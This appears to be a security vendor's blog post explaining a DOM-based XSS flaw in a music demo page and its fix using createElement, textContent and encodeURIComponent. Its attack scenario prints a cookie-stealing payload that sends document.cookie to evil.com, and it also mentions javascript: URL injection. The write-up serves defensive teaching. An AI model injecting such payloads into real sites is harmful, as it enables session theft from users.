Back to Blog
high SEVERITY5 min read

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

DOM-based Cross-Site Scripting (XSS) in JavaScript occurs when untrusted data is rendered into HTML using innerHTML or similar string-based methods without sanitization. In this case, `public/audio_match_demo/index.html` at line 246 concatenated API response data (`song.song.name`, `song.song.album.name`) directly into HTML anchor tags. CWE-79. The fix uses `document.createElement()`, `textContent`, and `encodeURIComponent()` to safely construct DOM nodes without HTML parsing, preventing script injection.

Vulnerability at a Glance

cweCWE-79
fixReplaced HTML string concatenation with secure DOM API methods (createElement, textContent, encodeURIComponent)
riskRemote code execution via malicious JavaScript injection through manipulated API responses
languageJavaScript (Browser)
root causeAPI response data concatenated into HTML strings using template literals without escaping
vulnerabilityDOM-based Cross-Site Scripting (XSS)

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

Introduction

The public/audio_match_demo/index.html file powers an interactive music recognition demo that displays song matches from a backend API. When users receive search results, the application renders each matched song as a clickable link to NetEase Music. However, the original implementation at lines 255-258 constructed these links through dangerous string concatenation, creating a high-severity DOM-based XSS vulnerability that could execute attacker-controlled JavaScript in users' browsers.

The vulnerable code directly interpolated API response fields—song.song.name, song.song.album.name, and song.song.id—into HTML strings without any sanitization. Since this API returns metadata from external music databases, an attacker who could influence that data (through supply chain compromise, cache poisoning, or upstream data manipulation) could inject malicious payloads that execute immediately when rendered.

The Vulnerability Explained

The problematic code pattern was found in the result rendering loop:

// VULNERABLE CODE (lines 255-258)
for (var song of resp.data.result) {
  logs.write(
    `[result] <a target="_blank" href="https://music.163.com/song?id=${song.song.id}">${song.song.name} - ${song.song.album.name} (${song.startTime / 1000}s)</a>`
  )
}

Why this is dangerous: The logs.write() method (presumably wrapping innerHTML or similar) parses this string as HTML. Any special characters in the song name or album—such as <, >, ", ', or &—are interpreted as HTML markup rather than literal text.

Specific attack scenario: An attacker poisons the upstream music database to include a song named:

</a><img src=x onerror=fetch('https://evil.com/steal?cookie='+document.cookie)><a>

When the demo renders results containing this "song," the browser executes the injected script, exfiltrating cookies or performing actions as the victim user. The song.song.id parameter is similarly vulnerable in the href attribute, enabling JavaScript protocol injection like javascript:alert(1) or javascript:eval(...).

Real-world impact: This demo page likely runs on the same origin as production services. Successful exploitation could:
- Steal authentication tokens from document.cookie
- Perform actions on behalf of users via XMLHttpRequest or fetch()
- Deface the application or redirect users to phishing sites
- Establish persistent access through service worker registration

The Fix

The remediation replaces HTML string construction with secure DOM API usage, eliminating the HTML parser entirely for untrusted content:

// SECURE CODE (lines 258-265)
for (var song of resp.data.result) {
  var a = document.createElement('a');
  a.href = 'https://music.163.com/song?id=' + encodeURIComponent(song.song.id);
  a.target = '_blank';
  a.textContent = song.song.name + ' - ' + song.song.album.name + ' (' + (song.startTime / 1000) + 's)';
  logs.appendChild(document.createTextNode('[result] '));
  logs.appendChild(a);
  logs.appendChild(document.createElement('br'));
}

Key security improvements:

Aspect Before After
URL construction Template literal interpolation encodeURIComponent() ensures URL-safe encoding
Text content HTML string concatenation textContent property treats value as literal text, never HTML
Element creation String parsing via innerHTML document.createElement() builds DOM nodes directly
Structural elements Inline <br> in HTML string Explicit document.createElement('br')

The textContent property is the critical defense here: it automatically escapes all HTML special characters, so even if song.song.name contains <script>alert(1)</script>, it renders as visible text rather than executing. Similarly, encodeURIComponent() on song.song.id prevents javascript: protocol injection and ensures valid URL formatting.

Prevention & Best Practices

1. Prefer DOM APIs over HTML strings

When building dynamic content, use document.createElement(), element.textContent, and element.setAttribute() rather than innerHTML, outerHTML, or document.write(). This architectural choice eliminates an entire class of injection vulnerabilities by design.

2. Encode for the correct context

Different contexts require different encoding:
- HTML text content: Use textContent (automatic) or HTML entity encoding
- URL parameters: Use encodeURIComponent()
- URL paths: Use encodeURI()
- CSS values: Use CSS escaping or strict validation
- JavaScript strings: Use JSON serialization

3. Validate API responses

Treat all external data as untrusted. Implement schema validation at API boundaries to reject unexpected types, lengths, or character sets before processing.

4. Content Security Policy (CSP)

Deploy a strict CSP to mitigate residual XSS risks:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';

5. Security testing

Integrate static analysis tools that detect dangerous patterns:
- innerHTML assignments with non-literal values
- Template literal HTML construction with interpolated variables
- Unencoded URL parameter construction

Key Takeaways

  • Never concatenate API response data into HTML strings: The logs.write() pattern with template literals containing ${song.song.name} created an exploitable injection point at line 255
  • textContent is safer than innerHTML for dynamic text: The fix demonstrates that a.textContent = ... automatically neutralizes HTML metacharacters without manual escaping
  • URL parameters require encoding, not just validation: encodeURIComponent(song.song.id) prevents both injection attacks and URL parsing errors
  • DOM construction beats string templating: Building nodes with createElement(), appendChild(), and createTextNode() provides defense-in-depth against encoding mistakes
  • Client-side rendering carries client-side risk: Even "static" demo pages processing API data must implement the same security controls as production applications

How Orbis AppSec Detected This

Source: HTTP API response body containing resp.data.result array with song.song.name, song.song.album.name, and song.song.id fields

Sink: HTML string concatenation passed to logs.write() at public/audio_match_demo/index.html:255-258, which renders content via innerHTML or equivalent

Missing control: No sanitization, encoding, or validation of API response fields before DOM insertion; use of dangerous HTML string construction instead of safe DOM APIs

CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Replaced HTML string templating with secure DOM construction using document.createElement(), textContent assignment, and encodeURIComponent() for URL parameters

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability illustrates a common misconception: that "just displaying data from an API" is inherently safe. The audio_match_demo incident proves that any data crossing a trust boundary—from external APIs, databases, or user inputs—must be handled with appropriate security controls. The fix demonstrates that modern JavaScript provides elegant, performant alternatives to HTML string manipulation. By adopting DOM-based construction patterns as the default approach, developers can eliminate entire categories of XSS vulnerabilities while writing cleaner, more maintainable code.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') — https://cwe.mitre.org/data/definitions/79.html
  • OWASP Cross-Site Scripting (XSS) Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • MDN: textContent vs innerHTML — https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent#differences_from_innerhtml
  • MDN: encodeURIComponent() — https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
  • Semgrep rule for dangerous innerHTML assignment — https://semgrep.dev/r?q=browser.security.insecure-document-write
  • GitHub PR: fix: the audio match demo page renders api response ... in index.html

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #227

Related Articles

critical

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.